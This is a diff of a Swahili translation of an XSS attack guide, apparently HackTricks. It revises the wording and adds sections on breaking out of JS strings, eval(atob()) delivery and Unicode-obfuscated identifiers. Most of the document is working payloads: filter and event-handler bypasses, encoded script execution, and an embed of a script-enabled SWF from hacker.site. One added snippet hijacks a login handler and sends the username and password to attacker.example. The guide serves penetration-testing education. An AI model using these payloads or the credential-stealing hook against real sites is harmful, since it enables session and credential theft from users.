 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Njia nyingine za kuficha**
+**Mbinu nyingine za obfuscation**
 
-_**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
+_**Katika kesi hii, HTML encoding na Unicode encoding trick kutoka sehemu iliyopita pia ni halali kwa sababu uko ndani ya attribute.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
+Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama input yako ndani ya `javascript:...` inakuwa URL encoded, itafanyiwa URL decoded kabla haitekelezwe.** Hivyo, kama unahitaji **escape** kutoka kwa **string** kwa kutumia **single quote** na ukaona kwamba **it's being URL encoded**, kumbuka kwamba **haijalishi,** itatafsiriwa kama **single quote** wakati wa **execution**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
+Kumbuka kwamba ikiwa utajaribu **kutumia zote mbili** `URLencode + HTMLencode` kwa mpangilio wowote ku-encode **payload** **haitafanya** **kazi**, lakini unaweza **kuwachanganya ndani ya payload**.
 
-**Kutumia Hex na Octal encode na `javascript:`**
+**Kutumia Hex and Octal encode with `javascript:`**
 
-Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (angalau) kutangaza **HTML tags za kutekeleza JS**:
+Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (angalau) kutangaza **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -380,17 +382,17 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
+Ikiwa unaweza kuingiza URL yoyote ndani ya tag ya kiholela ya **`<a href=`** ambayo ina sifa za **`target="_blank" and rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
 
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### juu ya Kuepuka Wakati wa Wamiliki
+### on Event Handlers Bypass
 
-Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wamiliki wa matukio** wanaofaa.\
-Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa wa matukio unaweza kujaribu kuepuka zifuatazo:
+Kwa kuanzia angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa ajili ya **"on" event handlers** zinazofaa.\
+Iwapo kuna blacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu mbinu zifuatazo za kupitisha:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -405,14 +407,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS katika "Lebo zisizoweza kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
+### XSS katika "tagi zisizoweza kutumiwa" (hidden input, link, canonical, meta)
 
-Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
+Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya hidden inputs kwa:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-Na katika **meta tags**:
+Na katika **tagi za meta**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -426,37 +428,37 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kushawishi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
+Kutoka [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload inside a hidden attribute**, mradi tu unaweza **kumshawishi** **mwanaathiriwa** kubonyeza **mchanganyiko wa funguo**. Kwa Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti kwenye access key attribute. Hapa kuna vector:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**Mchango wa XSS utakuwa kama ifuatavyo: `" accesskey="x" onclick="alert(1)" x="`**
+**Mzigo wa XSS utakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Kupita kwenye Orodha ya Blacklist
+### Kupita Blacklist
 
-Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
+Mbinu kadhaa za kutumia encoding tofauti zimetajwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
 
-- **Uandishi wa HTML (vitambulisho vya HTML)**
-- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
-- **Uandishi wa URL**
-- **Uandishi wa Hex na Octal**
-- **Uandishi wa data**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex and Octal encoding**
+- **data encoding**
 
-**Kupita kwenye vitambulisho na sifa za HTML**
+**Bypasses za HTML tags and attributes**
 
-Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](#blacklist-bypasses).
+Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**Kupita kwenye msimbo wa JavaScript**
+**Bypasses for JavaScript code**
 
-Soma [Orodha ya Blacklist ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
+Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
+Ikiwa umepata **XSS katika sehemu ndogo sana** ya tovuti ambayo inahitaji aina fulani ya mwingiliano (labda link ndogo kwenye footer yenye onmouseover element), unaweza kujaribu **kubadilisha nafasi ambayo element hiyo inachukua** ili kuongeza uwezekano wa link hiyo kutumika.
 
-Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Kwa mfano, unaweza kuongeza styling kwenye element kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
+Lakini, ikiwa WAF inachuja attribute ya style, unaweza kutumia CSS Styling Gadgets, kwa hivyo ikiwa utapata, kwa mfano
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -464,38 +466,53 @@ na
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
+Sasa unaweza kurekebisha link yetu na kuifanya kuwa kwa muundo
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+Triki hii ilitolewa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Kuingiza ndani ya msimbo wa JavaScript
+## Kuingiza ndani ya JavaScript code
 
-Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
+Katika kesi hizi **input** yako itaonyeshwa ndani ya JS code ya faili ya `.js` au kati ya `<script>...</script>` tags au kati ya matukio ya HTML yanayoweza kuendesha JS code au kati ya attributes zinazoruhusu protocol ya `javascript:`.
 
 ### Kutoroka \<script> tag
 
-Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'data iliyoakisiwa' [...] </script>` unaweza kwa urahisi **kutoroka kufunga `<script>`** tag:
+Ikiwa code yako imeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi kutoroka kufunga tag ya `<script>`:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
+Kumbuka kwamba katika mfano huu **hatujafunga hata single quote**. Hii ni kwa sababu **HTML parsing inafanywa kwanza na browser**, ambayo inahusisha kutambua vipengee vya ukurasa, ikiwa ni pamoja na blocks za script. Uchanganaji wa JavaScript ili kuelewa na kutekeleza script zilizowekwa ndani hunafanywa tu baadaye.
 
-### Ndani ya msimbo wa JS
+### Ndani ya JS code
 
-Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
+Iwapo `<>` zinasafishwa bado unaweza **escape the string** mahali ambapo input yako iko na **execute arbitrary JS**. Ni muhimu **fix JS syntax**, kwa sababu ikiwa kuna makosa yoyote, JS code haitatekelezwa:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-### Template literals \`\`
+#### JS-in-JS string break → inject → repair pattern
 
-Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelezo ya JS** kwa kutumia sintaksia `${ ... }`.\
-Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
+Wakati input ya mtumiaji inapofika ndani ya string ya JavaScript iliyowekwa kwa nukuu (mfano, server-side echo ndani ya inline script), unaweza kumaliza string, kuingiza code, na kurekebisha sintaksia ili parsing iendelee kuwa halali. Mfano wa jumla:
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+Mfano wa muundo wa URL wakati parameter dhaifu inarudishwa ndani ya JS string:
+```
+?param=test";<INJECTION>;a="
+```
+Hii inatekeleza JS ya mshambuliaji bila kuhitaji kugusa muktadha wa HTML (pure JS-in-JS). Changanya na blacklist bypasses hapa chini wakati vichujio vinazuia maneno muhimu.
 
-Hii inaweza **kutumiwa vibaya** kwa kutumia:
+### Template literals ``
+
+Ili kujenga **strings** mbali na nukuu moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwa sababu zinaruhusu **embedded JS expressions** kwa kutumia sintaksia `${ ... }`.\  
+Hivyo, ikiwa ugundua kwamba input yako inaonyeshwa (**reflected**) ndani ya JS string inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **arbitrary JS code**:
+
+This can be **abused** using:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -507,22 +524,37 @@ return loop
 }
 loop``
 ```
-### Utekelezaji wa msimbo uliofungwa
+### Utekelezaji wa code iliyosimbwa
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Unicode Encode JS execution
+#### Deliverable payloads na eval(atob()) na scope nuances
+
+Ili kufanya URLs kuwa fupi na kuepuka vichujio vya maneno vya msingi, unaweza base64-encode mantiki yako halisi na kuiendesha kwa `eval(atob('...'))`. Ikiwa uchujaji rahisi wa maneno unazuia vitambulisho kama `alert`, `eval`, au `atob`, tumia vitambulisho vilivyofichwa kwa Unicode ambavyo vinakompaili sawa kwenye browser lakini vinatoroka vichujio vinavyotumia kulinganisha mnyororo:
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+Tofauti muhimu ya upeo: `const`/`let` zilizotangazwa ndani ya `eval()` zina block-scoped na haziunda globals; hazitapatikana kwa scripts zinazofuata. Tumia kipengele cha `<script>` kinachoingizwa dynamically ili kufafanua global, non-rebindable hooks inapohitajika (e.g., to hijack a form handler):
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+Marejeo: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Unicode Encode JS utekelezaji
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript bypass blacklists techniques
+### JavaScript bypass blacklists mbinu
 
-**Mifumo**
+**Strings**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -539,7 +571,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Mikato maalum**
+**Escapes maalum**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -553,12 +585,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Mabadiliko ya nafasi ndani ya msimbo wa JS**
+**Ubadilishaji wa nafasi ndani ya JS code**
 ```javascript
 <TAB>
 /**/
 ```
-**Maoni ya JavaScript (kutoka** [**Maoni ya JavaScript**](#javascript-comments) **hila)**
+**JavaScript comments (kutoka kwa** [**JavaScript Comments**](#javascript-comments) **njia)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -566,7 +598,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript mistari mipya (kutoka** [**hila ya JavaScript mistari mipya**](#javascript-new-lines) **)**
+**JavaScript new lines (kutoka kwa** [**JavaScript new line**](#javascript-new-lines) **ujanja)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -578,7 +610,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript nafasi za wazi**
+**JavaScript nafasi tupu**
 ```javascript
 log=[];
 function funct(){}
@@ -681,7 +713,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Kuita kazi isiyo na mipaka (alert)**
+**Kiito cha function yeyote (alert)**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -741,47 +773,47 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **Ukatili wa DOM**
+## **DOM vulnerabilities**
 
-Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
-**Kwa sababu ya upanuzi wa maelezo ya** [**ukosefu wa usalama wa DOM umehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
+Kuna **JS code** inayotumia **data isiyosafi iliyodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hili kutekeleza JS code yoyote.\
+**Kutokana na upana wa maelezo ya** [**DOM vulnerabilities ilihamishwa kwa ukurasa huu**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Huko utapata **maelezo ya kina kuhusu kile ambacho ukosefu wa usalama wa DOM ni, jinsi unavyosababishwa, na jinsi ya kuvitumia**.\
-Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
+Huko utapata maelezo ya kina **ya nini DOM vulnerabilities zinavyokuwa, zinaanzishwa vipi, na jinsi ya kuzitumia**.\
+Pia, usisahau kwamba **mwishoni mwa chapisho hicho** utaona maelezo kuhusu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
-### Kuboresha Self-XSS
+### Upgrading Self-XSS
 
 ### Cookie XSS
 
-Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
+Ikiwa unaweza kusababisha XSS kwa kutuma payload ndani ya cookie, kawaida hii ni self-XSS. Hata hivyo, ikiwa utapata **subdomain iliyo vunjika kwa XSS**, unaweza kutumia XSS hii kuingiza cookie kwenye domain nzima na hivyo kusababisha cookie XSS kwenye domain kuu au subdomain nyingine (zinaovunjika kwa cookie XSS). Kwa hili unaweza kutumia cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Unaweza kupata matumizi mazuri ya mbinu hii katika [**chapisho hiki cha blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Kutuma kikao chako kwa msimamizi
+### Kutuma session yako kwa admin
 
-Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea ukosefu wa usalama.
+Huenda mtumiaji anaweza kushiriki profile yake na admin; ikiwa self XSS iko ndani ya profile hiyo na admin aitazama, atachochea udhaifu huo.
 
-### Kurefusha Kikao
+### Session Mirroring
 
-Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
+Ikiwa unapata self XSS na ukurasa wa wavuti una **session mirroring kwa administrators**, kwa mfano kuruhusu wateja kuomba msaada na ili admin aweze kukusaidia ataona kile unachokiona kwenye session yako lakini kwa session yake.
 
-Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
+Unaweza kufanya **administrator achochee self XSS yako** na kuiba cookies/session yake.
 
-## Bypass Nyingine
+## Other Bypasses
 
-### Unicode Iliyosawazishwa
+### Unicode iliyosawazishwa
 
-Unaweza kuangalia ikiwa **thamani zinazorejelewa** zinakuwa **sawasawa za unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
+Unaweza kukagua ikiwa **reflected values** zinafanyiwa **unicode normalized** kwenye server (au upande wa client) na kutumia utendaji huu kupita ulinzi. [**Angalia mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -789,16 +821,16 @@ Unaweza kuangalia ikiwa **thamani zinazorejelewa** zinakuwa **sawasawa za unicod
 ```
 ### Ruby-On-Rails bypass
 
-Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa katika HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
+Kutokana na **RoR mass assignment** nukuu zinaingizwa kwenye HTML kisha ukomo wa nukuu unapingwa na fields za ziada (onfocus) zinaweza kuongezwa ndani ya tagi.\
 Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa utatuma payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-Wakati huo, "Key","Value" itarudiwa kama ifuatavyo:
+Perechi "Key","Value" itarudishwa kama ifuatavyo:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
+Kisha, sifa ya onfocus itaingizwa na XSS itatokea.
 
 ### Mchanganyiko maalum
 ```html
@@ -830,24 +862,24 @@ Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS na uingizaji wa kichwa katika jibu la 302
+### XSS with header injection in a 302 response
 
-Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
+If you find that you can **inject headers in a 302 Redirect response** unaweza kujaribu **make the browser execute arbitrary JavaScript**. Hii si rahisi kwani vivinjari vya kisasa havitafsiri HTTP response body ikiwa HTTP response status code ni 302, kwa hivyo payload ya cross-site scripting peke yake haitafanya kazi.
 
-Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
-Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi ya kujaribu itifaki mbalimbali ndani ya Location header na kuona kama yoyote ya hizo inaruhusu browser kuchunguza na execute XSS payload ndani ya body.\
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Herufi, Nambari na Nukta Pekee
+### Herufi Pekee, Nambari na Nukta
 
-Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii.
+Ikiwa unaweza kuonyesha **callback** kwamba javascript ata **execute** imezuiliwa kwa herufi hizi pekee. [**Read this section of this post**](#javascript-function) ili kupata jinsi ya kunyanyasa tabia hii.
 
-### Aina za Maudhui Halali za `<script>` kwa XSS
+### Content-Types Halali za `<script>` kwa XSS
 
-(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa utajaribu kupakia script kwa **content-type** kama `application/octet-stream`, Chrome itatoa makosa yafuatayo:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **script iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Pepe zote za **Content-Type** zitakazomsaidia Chrome kuendesha **loaded script** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -871,12 +903,14 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Aina za Script kwa XSS
 
-(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia script?
+(Kutoka [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Basi, ni aina gani zinaweza kuashiria kupakia script?
 ```html
 <script type="???"></script>
 ```
-- **module** (default, hakuna cha kuelezea)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili ya **`.wbn`**.
+Jibu ni:
+
+- **module** (default, hakuna cha kueleza)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele kinachokuwezesha kuweka pamoja mseto wa data (HTML, CSS, JS…) ndani ya faili ya **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -886,7 +920,7 @@ const char* const kSupportedJavascriptTypes[] = {
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Inaruhusu kuboresha sintaksia ya kuagiza
+- [**importmap**](https://github.com/WICG/import-maps)**:** Inaruhusu kuboresha sintaksia ya import
 ```html
 <script type="importmap">
 {
@@ -903,9 +937,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
+Tabia hii ilitumika katika [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) kuremapa library kwa kutumia eval kwa ajili ya abuse; inaweza kusababisha XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki kinakusudiwa hasa kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kinafanya kazi kama ifuatavyo:
 ```html
 <script type="speculationrules">
 {
@@ -921,24 +955,24 @@ Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/m
 }
 </script>
 ```
-### Web Content-Types to XSS
+### Mtandao Content-Types kwa XSS
 
